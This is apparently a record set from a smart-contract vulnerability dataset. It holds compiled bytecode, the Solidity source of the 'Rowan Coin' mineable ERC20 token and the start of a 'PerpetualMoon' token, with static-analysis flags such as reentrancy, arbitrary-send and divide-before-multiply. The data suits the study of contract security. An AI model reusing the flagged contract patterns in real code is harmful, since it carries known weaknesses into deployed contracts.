ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122066ccf6639bbb66a738c2dea6550ab21ca838d4de3d8d4c7d40ab5000273a9f3d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,968 |
0x74d835282bd3e9b0a2658837888358aae89042b8
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Rowan Coin' contract
// Mineable ERC20 Token using Proof Of Work
//
// Symbol : RWN
// Name : Rowan Coin
// Total supply: 45,000,000.00
// Decimals : 10
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract RowanCoin is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function RowanCoin() public onlyOwner{
symbol = "RWN";
name = "Rowan Coin";
decimals = 10;
_totalSupply = 45000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//if max supply for the era will be exceeded next reward round then enter the new era before that happens
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 2100000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one 0xbitcoin epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
//if there were less eth blocks passed in time than expected
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//21m coins total
//reward begins at 50 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//once we get half way thru the coins, only get 25 per block
//every reward era, the reward amount halves.
return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6080604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c7578063095ea7b314610257578063163aa00d146102bc57806317da485f146102e75780631801fbe51461031257806318160ddd1461036557806323b872dd146103905780632d38bf7a14610415578063313ce5671461044057806332e99708146104715780633eaaf86b1461049c578063490203a7146104c75780634ef37628146104f25780634fa972e1146105255780636de9f32b146105505780636fd396d61461057b57806370a08231146105d257806379ba50971461062957806381269a5614610640578063829965cc146106ab57806387a2a9d6146106d65780638a769d35146107015780638ae0368b1461072c5780638da5cb5b1461075f57806395d89b41146107b657806397566aa014610846578063a9059cbb146108ab578063b5ade81b14610910578063bafedcaa1461093b578063cae9ca5114610966578063cb9ae70714610a11578063d4ee1d9014610a3c578063dc39d06d14610a93578063dc6e9cf914610af8578063dd62ed3e14610b23578063f2fde38b14610b9a575b600080fd5b3480156101d357600080fd5b506101dc610bdd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021c578082015181840152602081019050610201565b50505050905090810190601f1680156102495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c7b565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610d6d565b6040518082815260200191505060405180910390f35b3480156102f357600080fd5b506102fc610d73565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b5061034b600480360381019080803590602001909291908035600019169060200190929190505050610d91565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a611021565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106c565b604051808215151515815260200191505060405180910390f35b34801561042157600080fd5b5061042a611317565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561131d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561047d57600080fd5b50610486611330565b6040518082815260200191505060405180910390f35b3480156104a857600080fd5b506104b161133a565b6040518082815260200191505060405180910390f35b3480156104d357600080fd5b506104dc611340565b6040518082815260200191505060405180910390f35b3480156104fe57600080fd5b50610507611377565b60405180826000191660001916815260200191505060405180910390f35b34801561053157600080fd5b5061053a611381565b6040518082815260200191505060405180910390f35b34801561055c57600080fd5b50610565611387565b6040518082815260200191505060405180910390f35b34801561058757600080fd5b5061059061138d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610613600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b3565b6040518082815260200191505060405180910390f35b34801561063557600080fd5b5061063e6113fc565b005b34801561064c57600080fd5b5061069160048036038101908080359060200190929190803560001916906020019092919080356000191690602001909291908035906020019092919050505061159b565b604051808215151515815260200191505060405180910390f35b3480156106b757600080fd5b506106c0611630565b6040518082815260200191505060405180910390f35b3480156106e257600080fd5b506106eb611636565b6040518082815260200191505060405180910390f35b34801561070d57600080fd5b5061071661163c565b6040518082815260200191505060405180910390f35b34801561073857600080fd5b50610741611642565b60405180826000191660001916815260200191505060405180910390f35b34801561076b57600080fd5b50610774611648565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107c257600080fd5b506107cb61166d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080b5780820151818401526020810190506107f0565b50505050905090810190601f1680156108385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561085257600080fd5b5061088d600480360381019080803590602001909291908035600019169060200190929190803560001916906020019092919050505061170b565b60405180826000191660001916815260200191505060405180910390f35b3480156108b757600080fd5b506108f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611784565b604051808215151515815260200191505060405180910390f35b34801561091c57600080fd5b5061092561191f565b6040518082815260200191505060405180910390f35b34801561094757600080fd5b50610950611925565b6040518082815260200191505060405180910390f35b34801561097257600080fd5b506109f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061192b565b604051808215151515815260200191505060405180910390f35b348015610a1d57600080fd5b50610a26611b7a565b6040518082815260200191505060405180910390f35b348015610a4857600080fd5b50610a51611b80565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a9f57600080fd5b50610ade600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ba6565b604051808215151515815260200191505060405180910390f35b348015610b0457600080fd5b50610b0d611d0a565b6040518082815260200191505060405180910390f35b348015610b2f57600080fd5b50610b84600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d10565b6040518082815260200191505060405180910390f35b348015610ba657600080fd5b50610bdb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d97565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c735780601f10610c4857610100808354040283529160200191610c73565b820191906000526020600020905b815481529060010190602001808311610c5657829003601f168201915b505050505081565b600081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60115481565b6000610d8c600b54600a54611e3690919063ffffffff16565b905090565b600080600080600c5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020925084600019168360001916141515610e1a57600080fd5b600b5483600190041115610e2d57600080fd5b60136000600c54600019166000191681526020019081526020016000205491508260136000600c5460001916600019168152602001908152602001600020816000191690555060006001028260001916141515610e8957600080fd5b610e91611340565b9050610ee581601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81601454611e5a90919063ffffffff16565b601481905550600e5460145411151515610f5357fe5b33600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060108190555043601181905550610faa611e76565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935050505092915050565b6000601560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b60006110c082601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119282601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600d5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60055481565b6000611372600d5460020a600460009054906101000a900460ff1660ff16600a0a603202611e3690919063ffffffff16565b905090565b6000600c54905090565b600e5481565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050828160019004111561161a57600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117035780601f106116d857610100808354040283529160200191611703565b820191906000526020600020905b8154815290600101906020018083116116e657829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b60006117d882601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186d82601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5a90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60085481565b60105481565b600082601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b08578082015181840152602081019050611aed565b50505050905090810190601f168015611b355780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611b5757600080fd5b505af1158015611b6b573d6000803e3d6000fd5b50505050600190509392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0357600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611cc757600080fd5b505af1158015611cdb573d6000803e3d6000fd5b505050506040513d6020811015611cf157600080fd5b8101908080519060200190929190505050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082111515611e4657600080fd5b8183811515611e5157fe5b04905092915050565b60008183019050828110151515611e7057600080fd5b92915050565b600e54611e95611e84611340565b601454611e5a90919063ffffffff16565b118015611ea457506027600d54105b15611eb6576001600d5401600d819055505b611ed36001600d540160020a600554611e3690919063ffffffff16565b60055403600e81905550611ef36001600754611e5a90919063ffffffff16565b6007819055506000600854600754811515611f0a57fe5b061415611f1a57611f19611f47565b5b6001430340600c8160001916905550565b6000828211151515611f3c57600080fd5b818303905092915050565b6000806000806000806000600654430396506008549550603c860294508487101561200657611f9287611f846064886120d890919063ffffffff16565b611e3690919063ffffffff16565b9350611fbc6103e8611fae606487611f2b90919063ffffffff16565b61210990919063ffffffff16565b9250611ffb611fea84611fdc6107d0600b54611e3690919063ffffffff16565b6120d890919063ffffffff16565b600b54611f2b90919063ffffffff16565b600b8190555061209c565b61202c8561201e60648a6120d890919063ffffffff16565b611e3690919063ffffffff16565b91506120566103e8612048606485611f2b90919063ffffffff16565b61210990919063ffffffff16565b9050612095612084826120766107d0600b54611e3690919063ffffffff16565b6120d890919063ffffffff16565b600b54611e5a90919063ffffffff16565b600b819055505b43600681905550600954600b5410156120b957600954600b819055505b600a54600b5411156120cf57600a54600b819055505b50505050505050565b6000818302905060008314806120f857508183828115156120f557fe5b04145b151561210357600080fd5b92915050565b60008183111561211b5781905061211f565b8290505b929150505600a165627a7a72305820317c1d3a07cf6702e557c7ce619d0cd4f41688a49b2e72d211139b44091322f30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,969 |
0x38973ff6104a64c2d5d66d3f50a5fcd415f7b40d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
//PerpetualMoon ($PerpMoon)
//Powerful Bot Protect yes
//3% Deflationary yes
//Telegram: https://t.me/PerpMoonOfficial
//CG, CMC listing: Ongoing
//Fair Launch
//Community Driven - 100% Community Owned!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
